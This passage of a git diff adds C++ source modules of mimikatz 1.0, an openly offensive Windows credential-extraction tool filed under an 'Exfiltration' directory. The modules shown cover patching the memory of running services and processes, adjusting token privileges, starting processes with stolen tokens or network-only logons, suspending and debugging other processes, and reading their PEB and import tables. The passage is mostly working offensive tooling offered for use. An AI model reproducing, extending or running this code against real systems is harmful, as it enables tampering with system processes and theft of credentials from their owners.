CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID *ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributevector; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, *PPEB; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union { + ULONG Flags; + struct { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _SYSTEM_HANDLE +{ + DWORD ProcessId; + BYTE ObjectTypeNumber; + BYTE Flags; + USHORT Handle; + PVOID Object; + ACCESS_MASK GrantedAccess; +} SYSTEM_HANDLE, *PSYSTEM_HANDLE; + +typedef struct _SYSTEM_HANDLE_INFORMATION +{ + DWORD HandleCount; + SYSTEM_HANDLE Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength); +typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle); +typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength); +typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp new file mode 100644 index 0000000..3388c3e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp @@ -0,0 +1,38 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_parseur.h" + +vector mod_parseur::parse(const wstring & line) +{ + vector result; + + wstring item; + wstringstream ss(line); + + while(ss >> item) + { + if (item[0] == L'"') + { + if (item[item.length() - 1] == L'"') + { + result.push_back(item.substr(1, item.length() -2)); + } + else + { + wstring restOfItem; + getline(ss, restOfItem, L'"'); + result.push_back(item.substr(1) + restOfItem); + } + } + else + { + result.push_back(item); + } + } + + return result; +} + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h new file mode 100644 index 0000000..e897aba --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h @@ -0,0 +1,15 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include + +class mod_parseur +{ +public: + static vector parse(const wstring & line); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp new file mode 100644 index 0000000..95b46c6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp @@ -0,0 +1,146 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_patch.h" +#include "..\mimikatz\global.h" + +bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_service::KIWI_SERVICE_STATUS_PROCESS monService; + if(mod_service::getUniqueForName(&monService, &serviceName)) + { + if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING) + { + (*outputStream) << L"Service : " << monService.serviceDisplayName << endl; + reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace); + } + else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air très actif" << endl; + } + else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl; + + return reussite; +} + +bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) +{ + bool reussite = false; + + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid)) + { + BYTE * baseAddr = monModule.modBaseAddr; + DWORD taille = monModule.modBaseSize; + + if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) + { + (*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl; + + BYTE * addrPattern = NULL; + if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle)) + { + reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle); + (*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl; + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + + CloseHandle(processHandle); + } + else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64) +{ + bool reussite = false; + + OSVERSIONINFOEX maVersion; + if(reussite = mod_system::getVersion(&maVersion)) + { + if(majorVersion) *majorVersion = maVersion.dwMajorVersion; + if(majorVersion) *minorVersion = maVersion.dwMinorVersion; + if(build) *build = maVersion.dwBuildNumber; + if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION; + + if(is64) + { + SYSTEM_INFO mesInfos; + GetNativeSystemInfo(&mesInfos); + + *is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64); + } + } + + return reussite; +} + +bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide) +{ + bool reussite = false; + + DWORD majorVersion, minorVersion, build; + bool isServer, is64; + + if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64)) + { + reussite = + (monOsValide->majorVersion == majorVersion) && + (monOsValide->minorVersion == minorVersion) && + ((monOsValide->build == build) || (monOsValide->build == 0)) && + (monOsValide->isServer == isServer) && + (monOsValide->is64 == is64) + ; + } + else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl; + return reussite; +} + +bool mod_patch::checkVersion(OS monOsValide) +{ + KIWI_OS_CHECK kOs; + switch(monOsValide) + { + case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + + case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; + case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + + case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; + case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; + + case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; + } + + return checkVersion(&kOs); +} + + +bool mod_patch::checkVersion(vector * vectorValid) +{ + bool reussite = false; + + for(vector::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++) + { + reussite = checkVersion(*monOs); + } + + if(!reussite) + (*outputStream) << L"La version du système d\'exploitation actuelle n\'est pas supportée par cette fonction." << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.h b/Exfiltration/mimikatz-1.0/modules/mod_patch.h new file mode 100644 index 0000000..1ae901d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_patch.h @@ -0,0 +1,57 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_service.h" +#include + +class mod_patch +{ +public: + typedef struct _KIWI_OS_CHECK + { + DWORD majorVersion; + DWORD minorVersion; + DWORD build; + bool isServer; + bool is64; + } KIWI_OS_CHECK, *PKIWI_OS_CHECK; + + enum OS + { + WINDOWS_2000_PRO_x86, + WINDOWS_2000_SRV_x86, + + WINDOWS_XP_PRO___x86, + WINDOWS_XP_PRO___x64, + WINDOWS_2003_____x86, + WINDOWS_2003_____x64, + + WINDOWS_VISTA____x86, + WINDOWS_VISTA____x64, + WINDOWS_2008_____x86, + WINDOWS_2008_____x64, + + WINDOWS_SEVEN____x86, + WINDOWS_SEVEN____x64, + WINDOWS_2008r2___x64, + + WINDOWS_8________x86, + WINDOWS_8________x64, + WINDOWS_8_SERVER_x64 + }; + + static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL); + static bool checkVersion(KIWI_OS_CHECK * monOsValide); + static bool checkVersion(OS monOsValide); + static bool checkVersion(vector * vectorValid); + + static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); + static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp new file mode 100644 index 0000000..bd62e9e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp @@ -0,0 +1,121 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_pipe.h" + +mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\") +{ + pipePath.append(serveur); + pipePath.append(L"\\pipe\\"); + pipePath.append(pipeName); +} + +mod_pipe::~mod_pipe(void) +{ + closePipe(); +} + +bool mod_pipe::closePipe() +{ + bool reussite = false; + + if(hPipe != INVALID_HANDLE_VALUE && hPipe) + { + FlushFileBuffers(hPipe); + DisconnectNamedPipe(hPipe); + reussite = CloseHandle(hPipe) == TRUE; + } + return reussite; +} + +bool mod_pipe::readFromPipe(wstring &laReponse) +{ + bool reussite = false; + wchar_t monBuffer[128]; + + bool fSuccess; + DWORD longueurReponse; + laReponse.clear(); + + do + { + fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false; + if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */) + { + laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t)); + } + else + { + break; + } + } while (!fSuccess); + + return reussite; +} + +bool mod_pipe::writeToPipe(const wstring &leMessage) +{ + bool reussite = false; + DWORD longueurMessage; + DWORD longueurOctetsEcris; + + longueurMessage = (static_cast(leMessage.size())) * sizeof(wchar_t); + + if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris) + { + reussite = FlushFileBuffers(hPipe) != 0; + } + return reussite; +} + + +bool mod_pipe::createServer() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL); + + if (hPipe && hPipe != INVALID_HANDLE_VALUE) + { + reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); + } + else + { + closePipe(); + } + } + return reussite; +} + +bool mod_pipe::createClient() +{ + bool reussite = false; + + if(!hPipe || hPipe == INVALID_HANDLE_VALUE) + { + if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT)) + { + hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); + + if (hPipe != INVALID_HANDLE_VALUE) + { + DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; + + if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0)) + { + closePipe(); + } + } + } + } + return reussite; +} + +bool mod_pipe::isConnected() +{ + return (hPipe && hPipe != INVALID_HANDLE_VALUE); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h new file mode 100644 index 0000000..69ab9e9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_pipe +{ +private: + HANDLE hPipe; + wstring pipePath; + +public: + mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L"."); + virtual ~mod_pipe(void); + + bool closePipe(); + + bool readFromPipe(wstring &laReponse); + bool writeToPipe(const wstring &leMessage); + + bool createServer(); + bool createClient(); + + bool isConnected(); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp new file mode 100644 index 0000000..34324b6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp @@ -0,0 +1,95 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_privilege.h" + +bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName) +{ + bool reussite = false; + DWORD tailleRequise = 0; + + if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + wchar_t * monBuffer = new wchar_t[tailleRequise]; + if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0)) + { + privilegeName->assign(monBuffer); + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege) +{ + return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0); +} + +bool mod_privilege::get(vector> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + HANDLE hToken = INVALID_HANDLE_VALUE; + if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken)) + { + DWORD tailleRequise = 0; + BYTE * monBuffer; + + if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) + { + monBuffer = new BYTE[tailleRequise]; + if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0)) + { + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast(monBuffer); + for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++) + { + wstring * monPrivilege = new wstring(); + if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege)) + { + maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes)); + } + delete monPrivilege; + } + } + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_privilege::set(vector> *maPrivilegesvector, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])]; + TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast(monBuffer); + mesPrivileges->PrivilegeCount = static_cast(maPrivilegesvector->size()); + + unsigned int i; + vector>::iterator monPrivilege; + for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++) + { + if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid))) + { + mesPrivileges->Privileges[i].Attributes = monPrivilege->second; + } + else + { + break; + } + } + + if(reussite) + { + HANDLE hToken = INVALID_HANDLE_VALUE; + if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0)) + { + reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS); + } + } + + delete monBuffer; + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h new file mode 100644 index 0000000..2d2652f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_privilege +{ +private: + static bool getName(PLUID idPrivilege, wstring * privilegeName); + static bool getValue(wstring * privilegeName, PLUID idPrivilege); + +public: + static bool get(vector> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); + static bool set(vector> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp new file mode 100644 index 0000000..d000f41 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp @@ -0,0 +1,473 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_process.h" + +bool mod_process::getList(vector * maProcessesvector, wstring * processName) +{ + HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hProcessesSnapshot != INVALID_HANDLE_VALUE) + { + PROCESSENTRY32 monProcessus; + monProcessus.dwSize = sizeof(PROCESSENTRY32); + + if(Process32First(hProcessesSnapshot, &monProcessus)) + { + do + { + if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0)) + { + KIWI_PROCESSENTRY32 monProcessK = { + monProcessus.dwSize, + monProcessus.cntUsage, + monProcessus.th32ProcessID, + monProcessus.th32DefaultHeapID, + monProcessus.th32ModuleID, + monProcessus.cntThreads, + monProcessus.th32ParentProcessID, + monProcessus.pcPriClassBase, + monProcessus.dwFlags, + monProcessus.szExeFile + }; + + maProcessesvector->push_back(monProcessK); + } + } while(Process32Next(hProcessesSnapshot, &monProcessus)); + } + CloseHandle(hProcessesSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName) +{ + bool reussite = false; + + vector * mesProcesses = new vector(); + + if(getList(mesProcesses, processName)) + { + if(reussite = (mesProcesses->size() == 1)) + { + *monProcess = mesProcesses->front(); + } + } + delete mesProcesses; + return reussite; +} + +bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId) +{ + bool reussite = false; + + vector * monVecteurDeModule = new vector(); + if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId)) + { + if(!moduleName) + { + *monModule = *(monVecteurDeModule->begin()); + reussite = true; + } + else + { + for(vector::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++) + { + if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0) + { + *monModule = *leModule; + reussite = true; + break; + } + } + } + } + delete monVecteurDeModule; + + return reussite; +} + +bool mod_process::getModulesListForProcessId(vector * maModulevector, DWORD * processId) +{ + HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0)); + + if(hModuleSnapshot != INVALID_HANDLE_VALUE) + { + MODULEENTRY32 monModule; + monModule.dwSize = sizeof(MODULEENTRY32); + + if(Module32First(hModuleSnapshot, &monModule)) + { + do + { + KIWI_MODULEENTRY32 monModuleK = { + monModule.dwSize, + monModule.th32ModuleID, + monModule.th32ProcessID, + monModule.GlblcntUsage, + monModule.ProccntUsage, + monModule.modBaseAddr, + monModule.modBaseSize, + monModule.hModule, + monModule.szModule, + monModule.szExePath + }; + maModulevector->push_back(monModuleK); + } while(Module32Next(hModuleSnapshot, &monModule)); + } + CloseHandle(hModuleSnapshot); + return true; + } + else + { + return false; + } +} + +bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken) +{ + bool reussite = false; + RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION)); + STARTUPINFO mesInfosDemarrer; + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1]; + maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size()); + commandLine[maCommandLine->size()] = L'\0'; + + DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL); + + if(leToken) + reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else if(aUsurper) + reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + else + reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; + + delete[] commandLine; + return reussite; +} + +bool mod_process::suspend(DWORD & processId) +{ + bool reussite = false; + + if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtSuspendProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::resume(DWORD & processId) +{ + bool reussite = false; + + if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess"))) + { + HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = NT_SUCCESS(NtResumeProcess(monHandle)); + CloseHandle(monHandle); + } + } + return reussite; +} + +bool mod_process::stop(DWORD & processId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + reussite = (TerminateProcess(monHandle, exitCode) != 0); + CloseHandle(monHandle); + } + return reussite; +} + +bool mod_process::debug(DWORD & processId) +{ + return (DebugActiveProcess(processId) != 0); +} + +bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle) +{ + bool reussite = false; + + if(processHandle == INVALID_HANDLE_VALUE) + processHandle = GetCurrentProcess(); + + if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess"))) + { + ULONG sizeReturn; + reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION)); + } + return reussite; +} + +bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId) +{ + bool reussite = false; + + HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId); + if(handleProcess && handleProcess != INVALID_HANDLE_VALUE) + { + HANDLE handleProc; + if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0) + { + DWORD ddNeededSize; + TOKEN_STATISTICS tokenStats; + + if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0)) + { + AuthentificationId = tokenStats.AuthenticationId; + } + CloseHandle(handleProc); + } + CloseHandle(handleProcess); + } + + return reussite; +} + +bool mod_process::getPeb(PEB * peb, HANDLE processHandle) +{ + bool reussite = false; + PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION(); + if(getProcessBasicInformation(mesInfos, processHandle)) + { + reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle); + } + delete mesInfos; + return reussite; +} + +bool mod_process::getIAT(PBYTE ptrBaseAddr, vector>> * monIAT, HANDLE handleProcess) +{ + bool reussite = false; + + BYTE * baseAddr = ptrBaseAddr; + + BYTE * ayIMAGE_DOS_HEADER = new 